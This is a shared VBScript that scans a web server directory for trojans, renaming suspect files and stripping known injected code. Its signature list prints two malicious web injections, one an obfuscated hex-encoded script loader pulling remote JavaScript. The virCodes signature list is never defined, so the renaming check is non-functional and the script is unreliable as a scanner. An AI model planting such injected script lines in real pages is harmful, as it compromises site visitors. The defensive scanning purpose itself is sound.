阿里云服务器windows系统木马查杀脚本通用木马查杀脚本

阿里云服务器windows系统木马查杀脚本，如下脚本

'本程序可以直接双击，主要作用是扫描网站中的木马、病毒程序，发现后会对其自动更名为xxx.w3bak，或将指定的内容替换为空。
'
'2011-7-19
On Error Resume Next
Dim ScanType,FolderPath,fso,virCode,isScanSub,logfile
Set fso=createobject("scripting.filesystemobject")
Set objShell = CreateObject("Shell.Application")
set WshShell = CreateObject("wscript.Shell"):init
S_MixSize = 0 : S_MaxSize = 200 '扫描文件大写限制
Dim iframeCode(20) '这个表示替换为空的部分，自己可添
iframeCode(0)=""
iframeCode(1)="<script>document.writeln(""\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E"");</script>"
iframeCode(2)="<script language=""javascript"" src=""http://51yes.ocry.com/click2.js?id=259865365&logo=1""></script>"

ScanType =".asa/.asp/.html/.aspx/.php/.cgi/.pl" '扫描的文件类型。
isScanSub=True
FolderPath= selectFolder() '选择要扫描的网站目录，如:FolderPath = "D:\wwwroot"
Echo "现在时间" & Now() & "，扫描 " & FolderPath :time1=Now()
If Not fso.folderexists(FolderPath) Then WScript.Quit
Set folder = fso.GetFolder(FolderPath)
CountFolder=1
Call doscan(folder)
If isScanSub Then scan(folder)
Echo "扫描结束 " & Now & "，耗时 " & DateDiff("s",Time1,Now()) & "秒"
WScript.Echo "日志文件存放于 " & logfile
Sub doscan(byval folder)
For each myfile in folder.Files
filesize = myfile.Size/1024
filepath = myfile.Path
filename = myfile.Name

if instr(filename,".")>0 then
filetype = Mid(filename,InStrRev(filename,"."))
'WScript.Echo filename & Chr(9) & filesize
if filesize>s_MixSize And filesize<=s_MaxSize then
If InStr(ScanType,filetype)>0 and filetype<>"" Then
'wscript.echo "正在查:" & filepath

txtBody = readfile(filepath)
flag = False : txtBody=lcase(txtBody)
for each vCode in Split(virCodes,"|")
If vCode<>"" And instr(txtBody,vCode)>0 And binaryCheck(vCode,txtBody) then
Echo "发现该文件 " & filename & " 有问题"
if fso.FileExists (filepath&".w3bak") then
fso.DeleteFile filepath&".w3bak",True
Echo "删除" & filepath&".w3bak"
End If

Set f=fso.getfile(filepath)
f.name= filename&".w3bak"
Set f=Nothing

filepath = filepath&".w3bak"
tmpstr="<!–提示：该文件怀疑是木马程序，已经被杀毒软件自动更名. "& now()&"–> " & vbCrLf & txtBody
Call writefile(filepath,tmpstr,True)
Echo "文件名已改为 " & filepath
flag = True
exit for
end if
Next
'
If Not flag And InStr(LCase(txtbody),"vbscript.encode")=0 Then
txtbody2=txtbody : flag=False
For each iframeStr in iframeCode
If iframeStr<>"" and instr(txtbody,iframeStr)>0 then
txtbody2 =replace(txtbody2,iframeStr,"")
Echo "发现恶意代码" & filepath & "已被替换成空" & iframeStr
flag=True
end if
Next
If flag Then Call writefile(filepath,txtbody2,True)
End If
'

End If
End If
end if
Next
End Sub

Function binaryCheck(VirCodePart,GetFiles)
on error resume next
binaryCheck=true
bincode=chr(17) & chr(32) & chr(1)
if VirCodePart=bincode then
if left(GetFiles,3)<>bincode then
binaryCheck=false
end if
end if
End Function
Sub writefile(filepath,strng,isover)
If Not fso.FileExists(filepath) Then Exit Sub
If isover Then mode=2 Else mode=8
Dim f:Set f=fso.OpenTextFile(filepath,mode,True)
f.write strng
Set f=Nothing
End Sub
Function readfile(filepath)
On Error Resume Next
Dim f:Set f=fso.OpenTextFile(filepath)
readfile=f.ReadAll()
If readfile&""="" Then readfile=""
Err.Clear
End Function
Function selectFolder()
On Error Resume Next
Set objFolder=objshell.BrowseForFolder(&H0,"请选择要扫描的目录",NO_OPTIONS)
selectFolder = objFolder.Self.path
Set objFolder=Nothing
End Function
Sub Echo(strng)
WScript.Echo strng
Dim f:Set f = fso.OpenTextFile(logfile,8,True)
f.writeline strng
Set f=Nothing
End Sub
Sub init()
logfile = Left(WScript.ScriptFullName,InStrRev(WScript.ScriptFullName,"\")) & "scanLog.txt"
If WScript.Arguments.Count=0 Then
WshShell.Run "cmd /k cscript """ & WScript.ScriptFullName & """ -dos",1,False
WScript.Quit
End If
virCodes=lcase(virCodes)
End Sub
sub scan(objfolder)
dim subfolder
For Each subfolder In objfolder.SubFolders
CountFolder=CountFolder+1
wscript.echo CountFolder & chr(9) & subfolder.path
Call scan(subfolder)
Call doscan(subfolder)
Next
end sub